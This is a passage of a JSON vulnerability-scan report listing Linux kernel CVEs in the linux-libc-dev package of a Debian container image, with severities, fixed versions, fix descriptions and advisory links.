"https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63922" ], "PublishedDate": "2026-07-19T16:17:10.44Z", "LastModifiedDate": "2026-10-27T12:56:58.89Z" }, { "VulnerabilityID": "CVE-2026-63924", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63924", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:edef1336e6b8e778115dac8fa0c98dd5a46997bad75ea693f9cd506d768a1418", "Title": "kernel: ipv6: exthdrs: refresh nh pointer after ipv6_hop_jumbo()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: exthdrs: refresh nh pointer after ipv6_hop_jumbo()\n\nipv6_hop_jumbo() calls pskb_trim_rcsum(), which can change skb pointers.\nLet's recompute nh pointer to make sure any change won't mess things up.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-822" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-63924", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://git.kernel.org/linus/d47548a36639095939f4747d4c43f2271366f565%20%287.1-rc6%29", "https://git.kernel.org/stable/c/2b56bbd928c030894c270cd33d60286326919458", "https://git.kernel.org/stable/c/645b99b1a185c91a79bdac4c5de0f91b212d64f0", "https://git.kernel.org/stable/c/72af7beae774e46ed543f3f2f267bf0a141bfcdd", "https://git.kernel.org/stable/c/9e883eaa878f4337b5873c706efb5a192364ed18", "https://git.kernel.org/stable/c/b3ac54e5c905f86d22b502eacb5686a282c5659f", "https://git.kernel.org/stable/c/bddaa4dfc7f36e1ee343a0622f69288af2b9ace9", "https://git.kernel.org/stable/c/c512e1c819dfbf6ae95ee7a44b65b9ad98979157", "https://git.kernel.org/stable/c/d47548a36639095939f4747d4c43f2271366f565", "https://linux.oracle.com/cve/CVE-2026-63924.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://lore.kernel.org/linux-cve-announce/2026071948-CVE-2026-63924-ec60@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63924", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63924" ], "PublishedDate": "2026-07-19T16:17:10.667Z", "LastModifiedDate": "2026-10-22T15:20:12.383Z" }, { "VulnerabilityID": "CVE-2026-63928", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63928", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c0628a888f6be548d1acbcaf6781be1d4f56819aca857bc2a35266a8f9e1b1b", "Title": "kernel: USB: serial: omninet: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: omninet: fix memory corruption with small endpoint\n\nMake sure that the bulk-out buffers are at least as large as the\nhardcoded transfer size to avoid user-controlled slab corruption should\na malicious device report a smaller endpoint max packet size than\nexpected.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63928", "https://git.kernel.org/linus/60df93d30f9bdd27db17c4d80ed80ef718d7226b%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0bda1893e4cc4ad2b7dcdbaca246f2af688c6c2a", "https://git.kernel.org/stable/c/0fee0ccac29e088d4bfab7e2d075725dcecd803d", "https://git.kernel.org/stable/c/180996f0ca774001944e4afa452d569ba2f6455c", "https://git.kernel.org/stable/c/4e7d32189d6219beb7db37cd0ea36b6bac7dfedb", "https://git.kernel.org/stable/c/60df93d30f9bdd27db17c4d80ed80ef718d7226b", "https://git.kernel.org/stable/c/9a3860454bdfb765f936965e975c594352602ffc", "https://git.kernel.org/stable/c/b496e25ead5976bce2891dacaed09beb53a54f9f", "https://git.kernel.org/stable/c/f34cf2928387fba01a78381f3258c7e1428897d9", "https://linux.oracle.com/cve/CVE-2026-63928.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071949-CVE-2026-63928-7715@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63928", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63928" ], "PublishedDate": "2026-07-19T16:17:11.163Z", "LastModifiedDate": "2026-10-30T14:29:10.89Z" }, { "VulnerabilityID": "CVE-2026-63934", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63934", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ac37c207948a8ab8f25f03812dea3fc32561c627e4ac671c02fb46bea9d6647e", "Title": "kernel: iio: gyro: itg3200: fix i2c read into the wrong stack location", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niio: gyro: itg3200: fix i2c read into the wrong stack location\n\nitg3200_read_all_channels() takes `__be16 *buf' as a parameter and\nfills the i2c_msg destination as `(char *)\u0026buf'. Since `buf' is the\nparameter (a pointer), `\u0026buf' is the address of the local pointer\nslot on the stack of itg3200_read_all_channels(), not the address\nof the caller's scan buffer. The (char *) cast hides the type\nmismatch.\n\ni2c_transfer() therefore writes ITG3200_SCAN_ELEMENTS * sizeof(s16)\n= 8 bytes into the parameter's stack slot, which is discarded when\nthe function returns. The caller's scan buffer in\nitg3200_trigger_handler() is never written to, so\niio_push_to_buffers_with_timestamp() pushes uninitialised stack\ncontents to userspace via /dev/iio:deviceX every scan -- both a\nfunctional bug (no actual gyroscope or temperature data is\ndelivered through the triggered buffer) and an information leak.\n\nThe non-buffered read_raw() path is unaffected: it goes through\nitg3200_read_reg_s16() which uses `\u0026out' on a local s16 value,\nwhere that is correct.\n\nDrop the spurious `\u0026' so the i2c read writes into the caller's\nbuffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63934", "https://git.kernel.org/linus/6bdc3023d62ed5c7d591f0eb27a5adb37fb892ae%20%287.1-rc6%29", "https://git.kernel.org/stable/c/15a0b3f33ffb6c78b3de6f69b026ceb09b973dd1", "https://git.kernel.org/stable/c/31bbd4b87dd6701fa10e03ba7f6268e49e178d16", "https://git.kernel.org/stable/c/63203bd072b613c18c237b906b1c9d2dc4527337", "https://git.kernel.org/stable/c/6bdc3023d62ed5c7d591f0eb27a5adb37fb892ae", "https://git.kernel.org/stable/c/8654b5e2617819ff4f7c78071dfd0275e971a9b6", "https://git.kernel.org/stable/c/90e809376b0f0d1ddec2eec954aecdd2a5b40b0e", "https://git.kernel.org/stable/c/b64dd5f3b38911054cbcc570df617e3e8e75e562", "https://git.kernel.org/stable/c/cfc3283859cfdeacadf80d5e6880bdf871ffeaa6", "https://lore.kernel.org/linux-cve-announce/2026071951-CVE-2026-63934-5d74@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63934", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63934" ], "PublishedDate": "2026-07-19T16:17:11.857Z", "LastModifiedDate": "2026-10-30T14:28:27.423Z" }, { "VulnerabilityID": "CVE-2026-63949", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63949", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:176cf2f8d2c4a0a3ff1894fa9ba84ef0adfb84b972c66385b3e17de2522bea12", "Title": "kernel: auxdisplay: line-display: fix OOB read on zero-length message_store()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nauxdisplay: line-display: fix OOB read on zero-length message_store()\n\nlinedisp_display() unconditionally reads msg[count - 1] before\nchecking whether count is zero, so a write of zero bytes to the\nmessage sysfs attribute hits msg[-1]:\n\n\twrite(fd, \"\", 0);\n\n\t-\u003e message_store(..., buf, count=0)\n\t -\u003e linedisp_display(linedisp, buf, count=0)\n\t -\u003e msg[count - 1] == '\\n' ; OOB read\n\nThe kernfs write buffer for that store is a 1-byte allocation\n(kernfs_fop_write_iter() does kmalloc(len + 1) with len == 0),\nso msg[-1] is a 1-byte read before the slab object. On a\nKASAN-enabled kernel this trips an out-of-bounds report and\npanics; on stock kernels it silently reads adjacent slab data\nand, if that byte happens to be '\\n', the following count--\nwraps ssize_t 0 to -1 and is then passed to kmemdup_nul().\n\nlinedisp_display() is reached from the message_store() sysfs\ncallback (drivers/auxdisplay/line-display.c message attribute,\nmode 0644) and from the in-tree initial-message setup with\ncount == -1, so the OOB path is only userspace-triggerable via\nzero-byte writes; vfs_write() does not short-circuit on\ncount == 0 and kernfs_fop_write_iter() dispatches the store\ncallback regardless.\n\nGuard the trailing-newline trim with a count check. The\nexisting if (!count) block then takes the clear-display path\nunchanged.\n\nAffects every auxdisplay driver that registers via\nlinedisp_register() / linedisp_attach(): ht16k33, max6959,\nimg-ascii-lcd, seg-led-gpio.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63949", "https://git.kernel.org/linus/a7511dcd9dd4bc55d123f9b800c8a4ed2662e5c6%20%287.1-rc7%29", "https://git.kernel.org/stable/c/197476b126010bac1b3199833c6966cd6f54c2a9", "https://git.kernel.org/stable/c/3859960daeb9b7b39b9847b5b0113bc6081eb735", "https://git.kernel.org/stable/c/6ad4f75ef9f3372fce8cad494e789ac6a5507bef", "https://git.kernel.org/stable/c/8776032fe989a9b5fc77f2de5e03e4adb44c630e", "https://git.kernel.org/stable/c/a7511dcd9dd4bc55d123f9b800c8a4ed2662e5c6", "https://git.kernel.org/stable/c/ca5b0781946d5083ceafa752141f47f085853620", "https://linux.oracle.com/cve/CVE-2026-63949.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071954-CVE-2026-63949-7f56@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63949", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63949" ], "PublishedDate": "2026-07-19T16:17:13.6Z", "LastModifiedDate": "2026-10-30T14:27:45.41Z" }, { "VulnerabilityID": "CVE-2026-63956", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63956", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f0ae7b8c5529ce4a9ca93b8f8f6fbeab61f80e1b14f47181befe9968c5d59c8f", "Title": "kernel: USB: serial: cypress_m8: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: cypress_m8: fix memory corruption with small endpoint\n\nMake sure that the interrupt-out endpoint max packet size is at least\neight bytes to avoid user-controlled slab corruption or NULL-pointer\ndereference should a malicious device report a smaller size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-63956", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/e1a9d791fd66ab2431b9e6f6f835823809869047%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1ef25704bd3b625fd151c09feee459479f71ee64", "https://git.kernel.org/stable/c/284105c40fc31fff90cdab8a0377aaeb92f87f0e", "https://git.kernel.org/stable/c/4bcaa59f403dbde6328604a500d65ee8d40975d9", "https://git.kernel.org/stable/c/4fcb22218f0a7229b7ce3b3952fb644def293fa5", "https://git.kernel.org/stable/c/52e18ae0c47c5c89e18fcd8022f287f7cc8802ec", "https://git.kernel.org/stable/c/6c13f3bb652bc8665e709ba07122612586aea648", "https://git.kernel.org/stable/c/ad3d1628a46134276546d7a12fedf04be9979158", "https://git.kernel.org/stable/c/e1a9d791fd66ab2431b9e6f6f835823809869047", "https://linux.oracle.com/cve/CVE-2026-63956.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071956-CVE-2026-63956-0fee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63956", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63956" ], "PublishedDate": "2026-07-19T16:17:14.41Z", "LastModifiedDate": "2026-10-30T14:32:20.473Z" }, { "VulnerabilityID": "CVE-2026-63957", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63957", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef0ae3a3c881cc8a59b7e7246d6f164a3e5206f9bb1bed6811d17e00c8c0ecf4", "Title": "kernel: USB: serial: safe_serial: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: safe_serial: fix memory corruption with small endpoint\n\nMake sure that the bulk-out buffer size is at least eight bytes to avoid\nuser-controlled slab corruption in \"safe\" mode should a malicious device\nreport a smaller size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63957", "https://git.kernel.org/linus/438061ed1ad85e6743e2dce826671772d81089ec%20%287.1-rc6%29", "https://git.kernel.org/stable/c/161ea0e5236f5f051d2d85d6c54dd08ee9dc7ba4", "https://git.kernel.org/stable/c/438061ed1ad85e6743e2dce826671772d81089ec", "https://git.kernel.org/stable/c/857b3cc73f91871ae4433f8b97c4670b78f8dc96", "https://git.kernel.org/stable/c/9b3145b3001fb24de1da72d1deb0bea70e5a078b", "https://git.kernel.org/stable/c/a550ed2117ca4709d38f713933ff924a83942e41", "https://git.kernel.org/stable/c/c7336c0fba5c959249f3d793d33076b992ec3ee4", "https://git.kernel.org/stable/c/e3a1d6eee25dc96b1d2db0ecd9d8741e92056476", "https://git.kernel.org/stable/c/f793b67d41e5fab719c5a90baa77cbd2fe259517", "https://linux.oracle.com/cve/CVE-2026-63957.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071956-CVE-2026-63957-b4f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63957", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63957" ], "PublishedDate": "2026-07-19T16:17:14.533Z", "LastModifiedDate": "2026-10-30T14:32:28.37Z" }, { "VulnerabilityID": "CVE-2026-63967", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63967", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bd20cd499a1cc35472afa4198a1640cee6a8fcbfcc3243d7cfa1b1904878180f", "Title": "kernel: iio: imu: st_lsm6dsx: fix stack leak in tagged FIFO buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niio: imu: st_lsm6dsx: fix stack leak in tagged FIFO buffer\n\nThe tagged FIFO path declares iio_buff on the stack with __aligned(8)\nbut no initializer, but there is a hole in the structure, which will\nthen leak to userspace as ST_LSM6DSX_SAMPLE_SIZE bytes (6) will be\ncopied, but the space between that and the timestamp are not\ninitialized.\n\nCommit c14edb4d0bdc (\"iio:imu:st_lsm6dsx Fix alignment and data leak\nissues\") moved the untagged FIFO path to a kzalloc'd buffer in hw-\u003escan,\nbut for the tagged path it only added the alignment qualifier and 